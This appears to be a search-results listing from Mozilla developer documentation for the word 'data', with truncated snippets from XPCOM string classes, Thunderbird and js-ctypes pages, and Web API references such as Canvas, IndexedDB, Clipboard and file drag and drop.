... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astring void assign(const char*, pruint32) - source parameters char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata operator= nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& o...
...perator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cutstart pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cutstart pruint32 cutlength nsacstring& readable append void append(char) - source parameters char c ...
...And 2 more matches
Replace
void replace( index_type acutstart, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units.
...adata [in] a raw character array to append to this string.
... adatalength [in] the length of adata, measured in storage units.
...And 2 more matches
nsAutoString (External)
itespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
...ing&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar adopt void adopt(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the length, beginning, and end of a string in one operation.
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters nsastring& astring void assign(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart ...
...And 2 more matches
nsCAutoString (External)
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data members no public members.
...ng& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint32 alength beginreading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astring void assign(const char*, pruint32) - source parameters char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutle...
...And 2 more matches
nsCStringContainer (External)
, print32 (*) find(const char*, print32 (*) find(const char*, pruint32, print32 (*) rfind(const nsacstring&, print32 (*) rfind(const nsacstring&, print32, print32 (*) rfind(const char*, print32 (*) rfind(const char*, print32, print32 (*) findchar rfindchar appendint tointeger base classes nsacstring data members no public members.
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring astring void assign(const char*, pruint32) - source parameters char adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char adata operator= nsacstring operator=(const nsacstring&) - source parameters nsacstring astring nsacstring opera...
...tor=(const char*) - source parameters char aptr nsacstring operator=(char) - source parameters char achar replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength char data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cutstart pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cutstart pruint32 cutlength nsacstring readable append void append(char) - source parameters char c ...
...And 2 more matches
nsDependentCSubstring external
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data members no public members.
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astring void assign(const char*, pruint32) - source parameters char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata operator= nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& o...
...perator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, char) - source parameters pruint32 cutstart pruint32 cutlength char c void replace(pruint32, pruint32, const nsacstring&) - source parameters pruint32 cutstart pruint32 cutlength nsacstring& readable append void append(char) - source parameters char c ...
...And 2 more matches
nsDependentSubstring external
r!= equalsliteral lowercaseequalsliteral find(const nsastring&, print32 (*) find(const nsastring&, pruint32, print32 (*) find rfind(const nsastring&, print32 (*) rfind(const nsastring&, print32, print32 (*) rfind findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters nsastring astring void assign(const prunichar*, pruint32) - source parameters prunichar adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char astr operator= nsastring operator=(const nsastring&) - source parameters nsastring astring nsastring ...
...operator=(const prunichar*) - source parameters prunichar aptr nsastring operator=(prunichar) - source parameters prunichar achar replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength prunichar data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cutstart pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cutstart pruint32 cutlength nsastring readable append void append(prunichar) - source ...
...And 2 more matches
nsLiteralCString (External)
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods rebind void rebind(const char*, pruint32) - source parameters char* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint3...
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astring void assign(const char*, pruint32) - source parameters char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutle...
...And 2 more matches
nsLiteralString (External)
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods rebind void rebind(const char*, pruint32) - source parameters char* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint3...
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astring void assign(const char*, pruint32) - source parameters char* adata pruint32 alength void assign(char) - source parameters char achar assignliteral void assignliteral(const char*) - source parameters char* adata replace void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutle...
...And 2 more matches
nsStringContainer (External)
stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes nsastring data members no public members.
... setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters nsastring& astring void assign(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr operator= nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastri...
...ng& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cutstart pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cutstart pruint32 cutlength nsastring& readable append void append(prunichar) - sou...
...And 2 more matches
imgILoader
aobserver the observer (may be null) acx some random data.
...this must already be opened before this method is called, and there must have been no ondataavailable calls for it yet.
... aobserver the observer (may be null) cx some random data.
...And 2 more matches
nsICache
not_stream_based 0 all entries for a cache session are stored as streams of data or as objects.
... stream_based 1 all entries for a cache session are stored as streams of data or as objects.
... note: if you think that you might need to modify cached data or meta data, then you must open a cache entry requesting write access.
...And 2 more matches
nsIChannel
this attribute only applies to textual data.
... contentlength int64_t the length of the data associated with the channel if available.
... note: the content type can often be wrongly specified (for example wrong file extension, wrong mime type, wrong document type stored on a server and so on.), and the caller most likely wants to verify with the actual data.
...And 2 more matches
nsIClipboardDragDropHooks
use this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop.
...session the drag session from which client can get the flavors present or the actual data.
...oncopyordrag() alters the flavors or data presented to the os.
...And 2 more matches
nsIContentFrameMessageManager
methods void dump(in domstring astr); domstring atob(in domstring aasciistring); domstring btoa(in domstring abase64data); dump() prints the specified string to standard output.
... atob() convert ascii base64 data to binary data.
... returns string: the decoded binary data.
...And 2 more matches
nsIMsgDBView
available in the mozilla codebase are types "quicksearch", "threadswithunread", "watchedthreadswithunread", "xfvf" (virtual folders), "search", "group", and "threaded" each with their own implementation of nsimsgdbview that provides a different sorting/view of the data.
... db nsimsgdatabase readonly: the current database of messages.
... supportsthreading boolean readonly: does the current database support threading?
...And 2 more matches
nsIObserverService
mponents.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); method overview void addobserver( in nsiobserver anobserver, in string atopic, in boolean ownsweak); nsisimpleenumerator enumerateobservers( in string atopic ); void notifyobservers( in nsisupports asubject, in string atopic, in wstring somedata ); void removeobserver( in nsiobserver anobserver, in string atopic ); methods addobserver() registers a given listener for a notifications regarding the specified topic.
... void notifyobservers( in nsisupports asubject, in string atopic, in wstring somedata ); parameters asubject a notification specific interface pointer.
... somedata a notification specific string value.
...And 2 more matches
nsIPermissionManager
there are four possible data strings for this notification; one notification will be broadcast for each change, and will involve a single permission.
... data : "deleted" a permission was deleted.
... data : "added" a permission was added.
...And 2 more matches
nsIPrefLocalizedString
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void setdatawithlength(in unsigned long length, [size_is(length)] in wstring data); wstring tostring(); attributes attribute type description data wstring provides access to string data stored in this property.
... methods setdatawithlength() used to set the contents of this object.
... void setdatawithlength( in unsigned long length, [size_is(length)] in wstring data ); parameters length the length of the string.
...And 2 more matches
nsIPrivateBrowsingService
in addition, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated.
... the temporary cookie and local storage databases start out empty.
...method overview void removedatafromdomain(in autf8string adomain); attributes attribute type description autostarted boolean indicates whether or not private browsing was started automatically at application launch time.
...And 2 more matches
nsITransport
the name "transport" is meant to connote the inherent data transfer implied by this interface (that is, data is being transfered in some fashion via the streams exposed by this interface).
...this means that if the stream has no data and is not closed, then reading from it will block the calling thread until at least one byte is available or until the stream is closed.
...this means that if the stream has no data and is not closed, then reading from it returns ns_base_stream_would_block.
...And 2 more matches
Address Book examples
.createinstance(components.interfaces.nsiabcard); card.setproperty("firstname", "john"); card.setproperty("lastname", "smith"); card.primaryemail = "john@invalid.com"; now add the card to an address book via its nsiabdirectory interface: let newcard = addressbook.addcard(card); the addcard function returns a new nsiabcard object that may have had nsiabdirectory specific data added to it, e.g.
... database specific information, that is used on edits.
... editing contacts once you have obtained a card from an nsiabdirectory (see above), you can edit it in a two step process, firstly, change the properties that you to edit: card.setproperty("firstname", "jane"); card.setproperty("lastname", "doe"); secondly, call modifycard to save the card in the database.
...And 2 more matches
Address book sync client design
the general architecture for the sync component is the following: mozilla ui ab sync logic mork ab database sync protocol encoding sync protocol decoding http "post" api mozilla networking client side sync logic the client synchronization logic defers to the server peforming some intelligence in handling duplicate entries for the sync process.
... // // step 1: // when the user begins a sync, run through the local database and update the // sync mapping table.
... // // sync approach - server handles all conflict resolution: // // step 2: // using the sync mapping table and the local records database, generate the change // list to send to the server.
...And 2 more matches
Thunderbird Configuration Files
on windows vista/xp/2000, the path is usually %appdata%\thunderbird\profiles\xxxxxxxx.default\, where xxxxxxxx is a random string of 8 characters.
... just browse to c:\documents and settings\[user name]\application data\thunderbird\profiles\ on windows xp/2000 or c:\users\[user name]\appdata\roaming\thunderbird\profiles\ on windows vista, and the rest should be obvious.
... on windows 95/98/me, the path is usually c:\windows\application data\thunderbird\profiles\xxxxxxxx.default\ on linux, the path is usually ~/.thunderbird/xxxxxxxx.default/ on mac os x, the path is usually ~/library/thunderbird/profiles/xxxxxxxx.default/ %appdata% is a shorthand for the application data path on windows 2000/xp/vista.
...And 2 more matches
Memory Management
this is not an exhaustive list, but will help you to understand memory management and how it affects your use of js-ctypes: a function or static data declared using the declare() method will hold that library alive.
... a cdata will hold referent cdata objects alive, under specific circumstances.
... for example, a cdata object produced by accessing a field of a structure or the internals of an array will hold the referent objects alive.
...And 2 more matches
Type conversion
implicit convert in js-ctypes, data could be converted implicitly when passing to or returning from a functiontype call, or setting pointer content, an array element or a struct field.
...mystruct.v.tostring()); // "x" mystruct.v = "xx"; // throws error var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.int16_t } ])(); mystruct.v = 0x41; console.log(mystruct.v.tostring()); // 65 mystruct.v = true; console.log(mystruct.v.tostring()); // 1 mystruct.v = "x"; // throws error integer/float types are implicitly convertible if any data of source type could be representable in the target type.
...lue ctypes.char.ptr js string pointer to temporary allocated null-terminated utf8 string ctypes.signed_char.ptr ctypes.unsigned_char.ptr ctypes.char16.ptr js string pointer to temporary allocated null-terminated utf16 string any pointer types any arraybuffer object pointer to the arraybuffer ctypes.voidptr_t any typedarray/dataview object pointer to the typedarray/dataview ctypes.char.ptr ctypes.int8_t.ptr int8array pointer to the int8array ctypes.uint8_t.ptr uint8array pointer to the uint8array uintclamped8array pointer to the uintclamped8array ctypes.int16_t.ptr int16array pointer to the int16array ctypes.uint16_t.ptr uint16array point...
...And 2 more matches
ctypes.open
see: http://stackoverflow.com/questions/19382201/how-to-load-dll-from-sdk-addon-data-folder it is important to note that custom native files cannot be loaded through chrome:// or resource:// uris.
.../services.jsm"); var cr = components.classes['@mozilla.org/chrome/chrome-registry;1'].getservice(components.interfaces.nsichromeregistry); var chromeuri_mylib = services.io.newuri('chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so', 'utf-8', null); var localfile_mylib = cr.convertchromeurl(chromeuri_mylib); var jarpath_mylib = localfile_mylib.spec; // "jar:file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" var filepath_mylib = localfilemylib.path; // "file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" if your add-on is a bootstrap add-on, then you don't...
... need to use this method to convert a chrome:// path; instead, on startup procedure of the bootstrap add-on obtain the file and/or jar path from installpath from the adata parameter.
...And 2 more matches
FunctionType
ptr ctype returns a ctype representing the data type "pointer to this type".
... method overview methods inherited from ctype ctype array([n]) string tosource() string tostring() functiontype cdata functiontype cdata cannot be constructed.
... cdata functiontype.ptr([func]); functiontype is functiontype ctype.
...And 2 more matches
Inspecting web sockets - Firefox Developer Tools
the live-updated table shows data for sent (green arrow) and received (red arrow) frames.
... each frame expands on click, so you can inspect the formatted data.
... columns in the response pane in the response pane, you can choose to show the following information about each frame: data size time opcode maskbit finbit the data and time columns are visible by default, but you can customize the interface to see more columns by choosing which ones to show from the context menu that is opened by right-clicking in the table header.
...And 2 more matches
Waterfall - Firefox Developer Tools
cycle collection reclaiming c++ reference-counted data structures.
... one of: serialize data on the main thread the main thread is serializing a message to be sent to the worker.
... deserialize data on the main thread the main thread is deserializing a message received from the worker.
...And 2 more matches
AnalyserNode.frequencyBinCount - Web APIs
this generally equates to the number of data values you will have to play with for the visualization.
... syntax var arraylength = analysernode.frequencybincount; value an unsigned integer, equal to the number of values that analysernode.getbytefrequencydata() and analysernode.getfloatfrequencydata() copy into the provided typedarray.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
...And 2 more matches
AuthenticatorAttestationResponse.attestationObject - Web APIs
syntax attestobj = authenticatorattestationresponse.attestationobject properties after decoding the cbor encoded arraybuffer, the resulting javascript object will contain the following properties: authdata the same as authenticatorassertionresponse.authenticatordata.
... note that in authenticatorassertionresponse, the authenticatordata is exposed as a property in a javascript object while in authenticatorattestationresponse, the authenticatordata is a property in a cbor map.
... the same authenticatorassertionresponse.authenticatordata field is used by both authenticatorattestationresponse and by authenticatorassertionresponse.
...And 2 more matches
Using images - Web APIs
getting images to draw the canvas api is able to use any of the following data types as an image source: htmlimageelement these are images created using the image() constructor, as well as any <img> element.
... embedding an image via data: url another possible way to include images is via the data: url.
... data urls allow you to completely define an image as a base64 encoded string of characters directly in your code.
...And 2 more matches
Canvas API - Web APIs
among other things, it can be used for animation, game graphics, data visualization, photo manipulation, and real-time video processing.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 150, 100); result reference htmlcanvaselement canvasrenderingcontext2d canvasgradient canvasimagesource canvaspattern imagebitmap imagedata renderingcontext textmetrics offscreencanvas path2d imagebitmaprenderingcontext note: the interfaces related to the webglrenderingcontext are referenced under webgl.
... manipulating video using canvas combining <video> and <canvas> to manipulate video data in real time.
...And 2 more matches
Using channel messaging - Web APIs
message channels on the other hand can provide a secure channel that allows you to pass data between different browsing contexts.
... onclick); // listen for messages on port1 port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('init', '*', [channel.port2]); } // post a message on port1 when the button is clicked function onclick(e) { e.preventdefault(); port1.postmessage(input.value); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; input.value = ''; } we start off by creating a new message channel by using the messagechannel() constructor.
...cript: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message window.addeventlistener('message', initport); // setup the transferred port function initport(e) { port2 = e.ports[0]; port2.onmessage = onmessage; } // handle messages received on port2 function onmessage(e) { var listitem = document.createelement('li'); listitem.textcontent = e.data; list.appendchild(listitem); port2.postmessage('message received by iframe: "' + e.data + '"'); } when the initial message is received from the main page via the window.postmessage method, we run the initport function.
...And 2 more matches
Clipboard.write() - Web APIs
WebAPIClipboardwrite
the clipboard method write() writes arbitrary data, such as images, to the clipboard.
... syntax var promise = navigator.clipboard.write(data) parameters data an array of clipboarditem objects containing data to be written to the clipboard.
... return value a promise which is resolved when the data has been written to the clipboard.
...And 2 more matches
DOMException - Web APIs
(legacy code value: 24 and legacy constant name: invalid_node_type_err) datacloneerror the object can not be cloned.
... (legacy code value: 25 and legacy constant name: data_clone_err) encodingerror the encoding or decoding operation failed (no legacy code value and constant name).
... dataerror provided data is inadequate (no legacy code value and constant name).
...And 2 more matches
Document.createProcessingInstruction() - Web APIs
syntax pinode = document.createprocessinginstruction(target, data) parameters pinode is the resulting processinginstruction node.
... target is a string containing the first part of the processing instruction (i.e., <?target … ?>) data is a string containing any information the processing instruction should carry, after the target.
... the data is up to you, but it can't contain ?>, since that closes the processing instruction.
...And 2 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
* * @param nod a node implementing the |characterdata| interface (i.e., * a |text|, |comment|, or |cdatasection| node * @return true if all of the text content of |nod| is whitespace, * otherwise false.
... */ function first_child( par ) { var res=par.firstchild; while (res) { if (!is_ignorable(res)) return res; res = res.nextsibling; } return null; } /** * version of |data| that doesn't include whitespace at the beginning * and end and normalizes all whitespace to a single space.
... (normally * |data| is a property of text nodes that gives the text of the node.) * * @param txt the text node whose data should be returned * @return a string giving the contents of the text node with * whitespace collapsed.
...And 2 more matches
Document Object Model (DOM) - Web APIs
dom interfaces attr cdatasection characterdata childnode comment customevent document documentfragment documenttype domerror domexception domimplementation domstring domtimestamp domstringlist domtokenlist element event eventtarget htmlcollection mutationobserver mutationrecord namednodemap node nodefilter nodeiterator nodelist nondocumenttypechildnode parentnode processinginstruction sele...
...it is uncertain whether some may be reintroduced in the future or not, but for the time being they should be considered obsolete and should be avoided: documenttouch domconfiguration domerrorhandler domimplementationlist domimplementationregistry domimplementationsource domlocator domobject domsettabletokenlist domuserdata elementtraversal entity entityreference namelist notation typeinfo userdatahandler html dom a document containing html is described using the document interface, which is extended by the html specification to include various html-specific features.
...lement svgforeignobjectelement svggelement svggeometryelement svgglyphelement svgglyphrefelement svggradientelement svggraphicselement svghatchelement svghatchpathelement svghkernelement svgimageelement svglineargradientelement svglineelement svgmarkerelement svgmaskelement svgmeshelement svgmeshgradientelement svgmeshpatchelement svgmeshrowelement svgmetadataelement svgmissingglyphelement svgmpathelement svgpathelement svgpatternelement svgpolylineelement svgpolygonelement svgradialgradientelement svgrectelement svgscriptelement svgsetelement svgsolidcolorelement svgstopelement svgstyleelement svgsvgelement svgswitchelement svgsymbolelement svgtextcontentelement svgtextelement svgtextpathelement svgtextpositioningelement svgti...
...And 2 more matches
EXT_texture_compression_rgtc - Web APIs
ext.compressed_red_rgtc1_ext each 4x4 block of texels consists of 64 bits of unsigned red image data.
... ext.compressed_signed_red_rgtc1_ext each 4x4 block of texels consists of 64 bits of signed red image data.
... ext.compressed_red_green_rgtc2_ext each 4x4 block of texels consists of 64 bits of compressed unsigned red image data followed by 64 bits of compressed unsigned green image data.
...And 2 more matches
FileReader.result - Web APIs
WebAPIFileReaderresult
this property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.
... method description readasarraybuffer() the result is a javascript arraybuffer containing binary data.
... readasbinarystring() the result contains the raw binary data from the file in a string.
...And 2 more matches
Using the Geolocation API - Web APIs
devices with a gps, for example, can take a minute or more to get a gps fix, so less accurate data (ip location or wifi) may be returned to getcurrentposition().
... watching the current position if the position data changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information.
... this object allows you to specify whether to enable high accuracy, a maximum age for the returned position value (up until this age it will be cached and reused if the same position is requested again; after this the browser will request fresh position data), and a timeout value that dictates how long the browser should attempt to get the position data for, before it times out.
...And 2 more matches
HTMLCanvasElement.mozGetAsFile() - Web APIs
the file's data is entirely located in memory until such time as it is explicitly written to disk.
... examples this example creates an image file from the <canvas> element on the page, then uses a filereader to read the image data from the file.
... html <canvas id="canvas" width="100" height="100"></canvas> <p><a href="#" id="link">click here to try out mozgetasfile()</a>.</p> javascript the following code uses mozgetasfile() to create a file object from the canvas and appends it as an image to the page by loading it as a data url using the readasdataurl() method.
...And 2 more matches
HTMLTrackElement - Web APIs
possible values are: subtitles, captions, descriptions, chapters, or metadata.
... htmltrackelement.src is a domstring that reflects the src html attribute, indicating the address of the text track data.
... htmltrackelement.srclang is a domstring that reflects the srclang html attribute, indicating the language of the text track data.
...And 2 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
the main reason to use microtasks is simply that: to ensure consistent ordering of tasks, even when results or data is available synchronously, but while simultaneously reducing the risk of user-discernible delays in operations.
...consider code such as this: customelement.prototype.getdata = url => { if (this.cache[url]) { this.data = this.cache[url]; this.dispatchevent(new event("load")); } else { fetch(url).then(result => result.arraybuffer()).then(data => { this.cache[url] = data; this.data = data; this.dispatchevent(new event("load")); }); } }; the problem introduced here is that by using a task in one branch of the if...else statement (in the case in which the image is available in the cach...
... element.addeventlistener("load", () => console.log("loaded data")); console.log("fetching data..."); element.getdata(); console.log("data fetched"); executing this code twice in a row gives the results shown in the table below: results when data isn't cached (left) vs.
...And 2 more matches
File drag and drop - Web APIs
one api is the datatransfer interface and the second api is the datatransferitem and datatransferitemlist interfaces.
...in the following drop handler, if the browser supports datatransferitemlist interface, the getasfile() method is used to access each file; otherwise the datatransfer interface's files property is used to access each file.
... function drophandler(ev) { console.log('file(s) dropped'); // prevent default behavior (prevent file from being opened) ev.preventdefault(); if (ev.datatransfer.items) { // use datatransferitemlist interface to access the file(s) for (var i = 0; i < ev.datatransfer.items.length; i++) { // if dropped items aren't files, reject them if (ev.datatransfer.items[i].kind === 'file') { var file = ev.datatransfer.items[i].getasfile(); console.log('...
...And 2 more matches
IDBCursor.advance() - Web APIs
WebAPIIDBCursoradvance
note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
....target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); cursor.advance(2); } else { console.log('every other entry displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'advance()' in that specification.
... recommendation indexed database api draftthe definition of 'advance()' in that specification.
...And 2 more matches
IDBCursorSync - Web APIs
the idbcursorsync interface of the indexeddb api represents a cursor for iterating over multiple records in a database.
... method overview bool continue (in optional any key); void remove () raises (idbdatabaseexception); attributes attribute type description count readonly unsigned long long the total number of objects that share the current key.
...setting this attribute can raise an idbdatabaseexception with the following codes: data_err if the underlying object store uses in-line keys and the property at the key path does not match the key in this cursor's position.
...And 2 more matches
IDBFactory.cmp() - Web APIs
WebAPIIDBFactorycmp
the result of the comparison; the table below lists the possible values and their meanings: returned value description -1 1st key is less than the 2nd key 0 1st key is equal to the 2nd key 1 1st key is greater than the 2nd key exceptions this method may raise a domexception of the following types: attribute description dataerror one of the supplied keys was not a valid key.
... example var a = 1; var b = 2; var result = window.indexeddb.cmp(a, b); console.log( "comparison results: " + result ); specifications specification status comment indexed database api 2.0the definition of 'cmp()' in that specification.
... recommendation indexed database api draftthe definition of 'cmp()' in that specification.
...And 2 more matches
IDBKeyRange.includes() - Web APIs
exceptions this method may raise a domexception of the following type: attribute description dataerror the supplied key was not a valid key.
...defined) { c = indexeddb.cmp(key, r.lower); if (r.loweropen && c <= 0) return false; if (!r.loweropen && c < 0) return false; } if (r.upper !== undefined) { c = indexeddb.cmp(key, r.upper); if (r.upperopen && c >= 0) return false; if (!r.upperopen && c > 0) return false; } return true; }; specification specification status comment indexed database api draftthe definition of 'includes()' in that specification.
... recommendation indexed database api draftthe definition of 'includes()' in that specification.
...And 2 more matches
IDBKeyRange.lower - Web APIs
WebAPIIDBKeyRangelower
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.lower); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'...
...); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lower' in that specification.
... recommendation indexed database api draftthe definition of 'lower' in that specification.
...And 2 more matches
IDBKeyRange.lowerOpen - Web APIs
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.loweropen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement(...
...'li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'loweropen' in that specification.
... recommendation indexed database api draftthe definition of 'loweropen' in that specification.
...And 2 more matches
IDBKeyRange.upper - Web APIs
WebAPIIDBKeyRangeupper
note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("f", "w", true, true); console.log(keyrangevalue.upper); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'...
...); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upper' in that specification.
... recommendation indexed database api draftthe definition of 'upper' in that specification.
...And 2 more matches
IDBKeyRange.upperOpen - Web APIs
